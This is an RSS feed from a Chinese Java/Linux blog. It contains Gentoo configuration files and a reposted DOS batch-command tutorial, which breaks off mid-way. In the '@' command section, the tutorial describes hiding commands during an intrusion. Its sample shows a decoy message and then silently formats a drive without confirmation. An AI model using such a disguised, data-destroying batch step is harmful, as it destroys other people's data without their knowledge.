﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-Alpha-文章分类-Linux、操作系统</title><link>http://www.blogjava.net/Alpha/category/2197.html</link><description>多少春秋风雨改 多少崎岖不变爱</description><language>zh-cn</language><lastBuildDate>Sat, 23 Jul 2011 09:58:37 GMT</lastBuildDate><pubDate>Sat, 23 Jul 2011 09:58:37 GMT</pubDate><ttl>60</ttl><item><title>/etc/locale.gen</title><link>http://www.blogjava.net/Alpha/articles/354887.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Sat, 23 Jul 2011 01:36:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/354887.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/354887.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/354887.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/354887.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/354887.html</trackback:ping><description><![CDATA[<div style="border-bottom: #cccccc 1px solid; border-left: #cccccc 1px solid; padding-bottom: 4px; background-color: #eeeeee; padding-left: 4px; width: 98%; padding-right: 5px; font-size: 13px; word-break: break-all; border-top: #cccccc 1px solid; border-right: #cccccc 1px solid; padding-top: 4px"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /><span style="color: #000000">en_US&nbsp;ISO</span><span style="color: #000000">-</span><span style="color: #800000">8859</span><span style="color: #000000">-</span><span style="color: #800000">1</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />en_US</span><span style="color: #000000">.</span><span style="color: #000000">UTF</span><span style="color: #000000">-</span><span style="color: #800000">8</span><span style="color: #000000">&nbsp;UTF</span><span style="color: #000000">-</span><span style="color: #800000">8</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />zh_CN&nbsp;UTF</span><span style="color: #000000">-</span><span style="color: #800000">8</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />zh_CN</span><span style="color: #000000">.</span><span style="color: #000000">UTF</span><span style="color: #000000">-</span><span style="color: #800000">8</span><span style="color: #000000">&nbsp;UTF</span><span style="color: #000000">-</span><span style="color: #800000">8</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />zh_CN</span><span style="color: #000000">.</span><span style="color: #000000">GBK&nbsp;GBK<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />zh_CN</span><span style="color: #000000">.</span><span style="color: #000000">GB2312&nbsp;GB2312<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />zh_CN</span><span style="color: #000000">.</span><span style="color: #000000">GB18030&nbsp;GB18030<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /></span></div><img src ="http://www.blogjava.net/Alpha/aggbug/354887.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2011-07-23 09:36 <a href="http://www.blogjava.net/Alpha/articles/354887.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>gentoo/etc/make.conf</title><link>http://www.blogjava.net/Alpha/articles/354886.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Sat, 23 Jul 2011 01:16:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/354886.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/354886.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/354886.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/354886.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/354886.html</trackback:ping><description><![CDATA[<br />网上
<div style="border-bottom: #cccccc 1px solid; border-left: #cccccc 1px solid; padding-bottom: 4px; background-color: #eeeeee; padding-left: 4px; width: 98%; padding-right: 5px; font-size: 13px; word-break: break-all; border-top: #cccccc 1px solid; border-right: #cccccc 1px solid; padding-top: 4px"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /><span style="color: #000000">CFLAGS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">-march=native&nbsp;-O3&nbsp;-pipe&nbsp;-fomit-frame-pointer&nbsp;-mmmx&nbsp;-msse&nbsp;-msse2</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />CXXFLAGS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">${CFLAGS}</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />MAKEOPTS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">-j5</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />CHOST</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">x86_64-pc-linux-gnu</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /></span><span style="color: #0000ff">USE</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">jpeg&nbsp;ssl&nbsp;nls&nbsp;unicode&nbsp;cjk&nbsp;zh&nbsp;nptl&nbsp;nptlonly&nbsp;mmx&nbsp;sse&nbsp;sse2&nbsp;-X&nbsp;-gtk&nbsp;-gnome&nbsp;\<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sasl&nbsp;maildir&nbsp;imap&nbsp;libwww&nbsp;mysql&nbsp;xml&nbsp;sockets&nbsp;vhosts&nbsp;snmp&nbsp;\<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-lvm&nbsp;-lvm1&nbsp;-kde&nbsp;-qt&nbsp;-cups&nbsp;-alsa&nbsp;-apache</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />ACCEPT_KEYWORDS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">~amd64</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />LINGUAS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">zh_CN</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />SYNC</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">rsync://rsync.asia.gentoo.org/gentoo-portage</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000"><br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />GENTOO_MIRRORS</span><span style="color: #000000">=</span><span style="color: #000000; font-weight: bold">"</span><span style="color: #000000; font-weight: bold">http://mirrors.163.com/gentoo&nbsp;ftp://gg3.net/pub/linux/gentoo</span><span style="color: #000000; font-weight: bold">"</span></div><br /><br /><img src ="http://www.blogjava.net/Alpha/aggbug/354886.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2011-07-23 09:16 <a href="http://www.blogjava.net/Alpha/articles/354886.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>gentoo  package.use</title><link>http://www.blogjava.net/Alpha/articles/353792.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Wed, 06 Jul 2011 06:54:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/353792.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/353792.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/353792.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/353792.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/353792.html</trackback:ping><description><![CDATA[gentoo&nbsp;&nbsp; /etc/portage/package.use 
<div style="border-bottom: #cccccc 1px solid; border-left: #cccccc 1px solid; padding-bottom: 4px; background-color: #eeeeee; padding-left: 4px; width: 98%; padding-right: 5px; font-size: 13px; word-break: break-all; border-top: #cccccc 1px solid; border-right: #cccccc 1px solid; padding-top: 4px"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" /><span style="color: #000000">www</span><span style="color: #000000">-</span><span style="color: #000000">servers</span><span style="color: #000000">/</span><span style="color: #000000">lighttpd&nbsp;fastcgi&nbsp;memcache&nbsp;php&nbsp;mysql<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />sys</span><span style="color: #000000">-</span><span style="color: #000000">devel</span><span style="color: #000000">/</span><span style="color: #000000">gcc&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">fortran<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />dev</span><span style="color: #000000">-</span><span style="color: #000000">lang</span><span style="color: #000000">/</span><span style="color: #000000">php&nbsp;json&nbsp;cgi&nbsp;curl&nbsp;ctype&nbsp;ftp&nbsp;gd&nbsp;hash&nbsp;imap&nbsp;mhash&nbsp;mysql&nbsp;mysqli&nbsp;pdo&nbsp;simplexml&nbsp;truetype&nbsp;xml&nbsp;xmlreader&nbsp;xmlwriter&nbsp;xsl&nbsp;zip&nbsp;sockets<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />media</span><span style="color: #000000">-</span><span style="color: #000000">libs</span><span style="color: #000000">/</span><span style="color: #000000">gd&nbsp;fontconfig&nbsp;jpeg&nbsp;png&nbsp;truetype<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />dev</span><span style="color: #000000">-</span><span style="color: #000000">php5</span><span style="color: #000000">/</span><span style="color: #000000">jpgraph&nbsp;truetype<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />media</span><span style="color: #000000">-</span><span style="color: #000000">gfx</span><span style="color: #000000">/</span><span style="color: #000000">imagemagick&nbsp;jpeg&nbsp;jpeg2k&nbsp;png&nbsp;svg&nbsp;tiff&nbsp;xml<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />dev</span><span style="color: #000000">-</span><span style="color: #000000">vcs</span><span style="color: #000000">/</span><span style="color: #000000">subversion&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">berkdb<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />net</span><span style="color: #000000">-</span><span style="color: #000000">misc</span><span style="color: #000000">/</span><span style="color: #000000">curl&nbsp;gnutls<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />net</span><span style="color: #000000">-</span><span style="color: #000000">libs</span><span style="color: #000000">/</span><span style="color: #000000">courier</span><span style="color: #000000">-</span><span style="color: #000000">authlib&nbsp;mysql<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />mail</span><span style="color: #000000">-</span><span style="color: #000000">client</span><span style="color: #000000">/</span><span style="color: #000000">roundcube&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">sqlite<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />app</span><span style="color: #000000">-</span><span style="color: #000000">emulation</span><span style="color: #000000">/</span><span style="color: #000000">qemu</span><span style="color: #000000">-</span><span style="color: #000000">kvm&nbsp;png&nbsp;vde&nbsp;vhost</span><span style="color: #000000">-</span><span style="color: #000000">net&nbsp;threads<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" />net</span><span style="color: #000000">-</span><span style="color: #000000">dns</span><span style="color: #000000">/</span><span style="color: #0000ff">bind</span><span style="color: #000000">&nbsp;resolvconf&nbsp;threads<br /><img alt="" align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" /></span></div><br /><br />net 上的package.use<br /><br />
<div style="border-bottom: #cccccc 1px solid; border-left: #cccccc 1px solid; padding-bottom: 4px; background-color: #eeeeee; padding-left: 4px; width: 98%; padding-right: 5px; font-size: 13px; word-break: break-all; border-top: #cccccc 1px solid; border-right: #cccccc 1px solid; padding-top: 4px"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /><span style="color: #000000">mail</span><span style="color: #000000">-</span><span style="color: #000000">mta</span><span style="color: #000000">/</span><span style="color: #000000">postfix&nbsp;mysql&nbsp;sasl<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />www</span><span style="color: #000000">-</span><span style="color: #000000">servers</span><span style="color: #000000">/</span><span style="color: #000000">lighttpd&nbsp;fastcgi&nbsp;memcache&nbsp;php&nbsp;mysql<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />sys</span><span style="color: #000000">-</span><span style="color: #000000">devel</span><span style="color: #000000">/</span><span style="color: #000000">gcc&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">fortran<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />dev</span><span style="color: #000000">-</span><span style="color: #000000">lang</span><span style="color: #000000">/</span><span style="color: #000000">php&nbsp;json&nbsp;cgi&nbsp;curl&nbsp;ctype&nbsp;ftp&nbsp;gd&nbsp;hash&nbsp;imap&nbsp;mhash&nbsp;mysql&nbsp;mysqli&nbsp;pdo&nbsp;simplexml&nbsp;truetype&nbsp;xml&nbsp;xmlreader&nbsp;xmlwriter&nbsp;xsl&nbsp;zip&nbsp;sockets<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />www</span><span style="color: #000000">-</span><span style="color: #000000">apps</span><span style="color: #000000">/</span><span style="color: #000000">phprojekt&nbsp;mysql&nbsp;vhosts<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />media</span><span style="color: #000000">-</span><span style="color: #000000">libs</span><span style="color: #000000">/</span><span style="color: #000000">gd&nbsp;fontconfig&nbsp;jpeg&nbsp;png&nbsp;truetype<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />dev</span><span style="color: #000000">-</span><span style="color: #000000">php5</span><span style="color: #000000">/</span><span style="color: #000000">jpgraph&nbsp;truetype<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />www</span><span style="color: #000000">-</span><span style="color: #000000">apps</span><span style="color: #000000">/</span><span style="color: #000000">mediawiki&nbsp;imagemagick&nbsp;mysql<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />media</span><span style="color: #000000">-</span><span style="color: #000000">gfx</span><span style="color: #000000">/</span><span style="color: #000000">imagemagick&nbsp;jpeg&nbsp;jpeg2k&nbsp;png&nbsp;svg&nbsp;tiff&nbsp;xml<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />dev</span><span style="color: #000000">-</span><span style="color: #000000">vcs</span><span style="color: #000000">/</span><span style="color: #000000">subversion&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">berkdb<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />www</span><span style="color: #000000">-</span><span style="color: #000000">apps</span><span style="color: #000000">/</span><span style="color: #000000">bugzilla&nbsp;mysql<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />net</span><span style="color: #000000">-</span><span style="color: #000000">misc</span><span style="color: #000000">/</span><span style="color: #000000">curl&nbsp;gnutls<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />net</span><span style="color: #000000">-</span><span style="color: #000000">libs</span><span style="color: #000000">/</span><span style="color: #000000">courier</span><span style="color: #000000">-</span><span style="color: #000000">authlib&nbsp;mysql<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" />mail</span><span style="color: #000000">-</span><span style="color: #000000">client</span><span style="color: #000000">/</span><span style="color: #000000">roundcube&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">sqlite<br /><img align="top" src="http://www.blogjava.net/images/OutliningIndicators/None.gif"  alt="" /></span></div><br /><br />安装lighttpd 方法<br /><br />emerge dev-lang/php lighttpd<br /><br /><br /><img src ="http://www.blogjava.net/Alpha/aggbug/353792.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2011-07-06 14:54 <a href="http://www.blogjava.net/Alpha/articles/353792.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>dos批处理命令详解</title><link>http://www.blogjava.net/Alpha/articles/134631.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Mon, 06 Aug 2007 02:41:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/134631.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/134631.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/134631.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/134631.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/134631.html</trackback:ping><description><![CDATA[<table class=border cellSpacing=0 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr vAlign=center align=middle>
            <td colSpan=2 height=50><font face=楷体_GB2312 color=#000080 size=4><strong>dos批处理命令详解</strong></font></td>
        </tr>
        <tr class=tdbg_rightall>
            <td style="BORDER-BOTTOM: #000000 1px solid" colSpan=2>
            <div align=center>［作者：佚名&nbsp;&nbsp;转贴自：Internet&nbsp;&nbsp;点击数：17782&nbsp;&nbsp;更新时间：2005-12-29&nbsp;&nbsp;文章录入：onegreen］</div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-BOTTOM: 20px; PADDING-TOP: 20px" colSpan=2>
            <table cellSpacing=5 cellPadding=0 width=560 align=center border=0>
                <tbody>
                    <tr>
                        <td vAlign=top height=200>
                        <table cellSpacing=5 cellPadding=5 align=right border=0>
                            <tbody>
                                <tr>
                                    <td vAlign=top align=right>
                                    <p align=right></p>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        <div class=textbox-content>
                        <p><font face=幼圆><strong>一.简单批处理内部命令简介</strong> </font></p>
                        <p><font face=幼圆>1.Echo 命令<br>&nbsp;<br>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 </font></p>
                        <p><font face=幼圆>语法:<br>&nbsp;<br>echo [{on│off}] [message] <br>Sample：@echo off / echo hello world </font></p>
                        <p><font face=幼圆>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命</font></p>
                        <p><font face=幼圆>令到特定格式的文件中.这将在以后的例子中体现出来。 </font></p>
                        <p><font face=幼圆>2.@ 命令 </font></p>
                        <p><font face=幼圆>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使</font></p>
                        <p><font face=幼圆>用的命令啦。<br>&nbsp;<br>Sample：@echo off <br>@echo Now initializing the program,please wait a minite... <br>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这</font></p>
                        <p><font face=幼圆>个参数给我们，效果和/y是一样的。) </font></p>
                        <p><font face=幼圆>3.Goto 命令<br>&nbsp;<br>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 </font></p>
                        <p><font face=幼圆>语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br>Sample： <br>if {%1}=={} goto noparms <br>if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <br>@Rem check parameters if null show usage <br>:noparms <br>echo Usage: monitor.bat ServerIP PortNumber <br>goto end </font></p>
                        <p><font face=幼圆>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令</font></p>
                        <p><font face=幼圆>就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 </font></p>
                        <p><font face=幼圆>4.Rem 命令 </font></p>
                        <p><font face=幼圆>注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你</font></p>
                        <p><font face=幼圆>自己日后修改。<br>&nbsp;<br>Rem Message <br>Sample：@Rem Here is the description. </font></p>
                        <p><font face=幼圆>5.Pause 命令 </font></p>
                        <p><font face=幼圆>运行 Pause 命令时，将显示下面的消息： <br>Press any key to continue . . . </font></p>
                        <p><font face=幼圆>Sample： <br>@echo off <br>:begin <br>copy a:*.* d：\back <br>echo Please put a new disk into driver A <br>pause <br>goto begin </font></p>
                        <p><font face=幼圆>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入</font></p>
                        <p><font face=幼圆>驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 </font></p>
                        <p><font face=幼圆>6.Call 命令 </font></p>
                        <p><font face=幼圆>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签</font></p>
                        <p><font face=幼圆>。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br>&nbsp;<br>语法: <br>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] </font></p>
                        <p><font face=幼圆>参数: <br>[Drive:}[Path] FileName </font></p>
                        <p><font face=幼圆>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 </font></p>
                        <p><font face=幼圆>7.start 命令 </font></p>
                        <p><font face=幼圆>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 <br>常用参数： <br>MIN 开始时窗口最小化 <br>SEPARATE 在分开的空间内开始 16 位 Windows 程序 <br>HIGH 在 HIGH 优先级类别开始应用程序 <br>REALTIME 在 REALTIME 优先级类别开始应用程序 <br>WAIT 启动应用程序并等候它结束 <br>parameters 这些为传送到命令/程序的参数 </font></p>
                        <p><font face=幼圆>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本</font></p>
                        <p><font face=幼圆>内执行，该新行为则不会发生。<br>&nbsp;<br>8.choice 命令 </font></p>
                        <p><font face=幼圆>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提</font></p>
                        <p><font face=幼圆>示可输入的字符，之间无空格。它的返回码为1234...... </font></p>
                        <p><font face=幼圆>如: choice /c:dme defrag,mem,end </font></p>
                        <p><font face=幼圆>将显示 <br>defrag,mem,end[D,M,E]? </font></p>
                        <p><font face=幼圆>Sample： <br>Sample.bat的内容如下: </font></p>
                        <p><font face=幼圆>@echo off <br>choice /c:dme defrag,mem,end <br>if errorlevel 3 goto defrag （应先判断数值最高的错误码） <br>if errorlevel 2 goto mem <br>if errotlevel 1 goto end </font></p>
                        <p><font face=幼圆>:defrag <br>c:\dos\defrag <br>goto end <br>:mem <br>mem <br>goto end <br>:end <br>echo good bye </font></p>
                        <p><font face=幼圆>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行</font></p>
                        <p><font face=幼圆>标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后</font></p>
                        <p><font face=幼圆>都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 </font></p>
                        <p><font face=幼圆>9.If 命令 </font></p>
                        <p><font face=幼圆>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 </font></p>
                        <p><font face=幼圆>有三种格式: </font></p>
                        <p><font face=幼圆>1)、if "参数" == "字符串" 　待执行的命令 <br>参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） </font></p>
                        <p><font face=幼圆>如if "%1"=="a" format a: <br>if {%1}=={} goto noparms <br>if {%2}=={} goto noparms </font></p>
                        <p><font face=幼圆>2)、if exist 文件名　 待执行的命令 <br>如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br>&nbsp;<br>如if exist config.sys edit config.sys </font></p>
                        <p><font face=幼圆>3)、if errorlevel / if not errorlevel 数字　 待执行的命令 <br>如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br>&nbsp;<br>如if errorlevel 2 goto x2 　<br>&nbsp;<br>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 </font></p>
                        <p><font face=幼圆>10.for 命令<br>&nbsp;<br>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 <br>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable </font></p>
                        <p><font face=幼圆>for {%variable│%%variable} in (set) do command [ CommandLineOptions] <br>%variable 指定一个单一字母可替换的参数。 <br>(set) 指定一个或一组文件。可以使用通配符。 <br>command 指定对每个文件执行的命令。 <br>command-parameters 为特定命令指定参数或命令行开关。 </font></p>
                        <p><font face=幼圆>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <br>而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I </font></p>
                        <p><font face=幼圆>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持: <br>FOR /D %variable IN (set) DO command [command-parameters] </font></p>
                        <p><font face=幼圆>如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 </font></p>
                        <p><font face=幼圆>FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] </font></p>
                        <p><font face=幼圆>检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用</font></p>
                        <p><font face=幼圆>当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 </font></p>
                        <p><font face=幼圆>FOR /L %variable IN (start,step,end) DO command [command-parameters] </font></p>
                        <p><font face=幼圆>该集表示以增量形式从开始到结束的一个数字序列。 <br>因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 <br>序列 (5 4 3 2 1)。 </font></p>
                        <p><font face=幼圆>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN ('command') DO command </font></p>
                        <p><font face=幼圆>或者，如果有 usebackq 选项: </font></p>
                        <p><font face=幼圆>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN ('command') DO command </font></p>
                        <p><font face=幼圆>filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读</font></p>
                        <p><font face=幼圆>取并经过处理。 <br>处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字</font></p>
                        <p><font face=幼圆>符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白</font></p>
                        <p><font face=幼圆>行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同</font></p>
                        <p><font face=幼圆>解析选项的关键字。这些关键字为: </font></p>
                        <p><font face=幼圆>eol=c - 指一个行注释字符的结尾(就一个) <br>skip=n - 指在文件开始时忽略的行数。 <br>delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的 <br>格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一</font></p>
                        <p><font face=幼圆>个符号解析之分配并接受行的保留文本。 <br>usebackq - 指定新语法已在下类情况中使用: <br>在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起</font></p>
                        <p><font face=幼圆>文件名称。 </font></p>
                        <p><font face=幼圆>sample1: <br>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command </font></p>
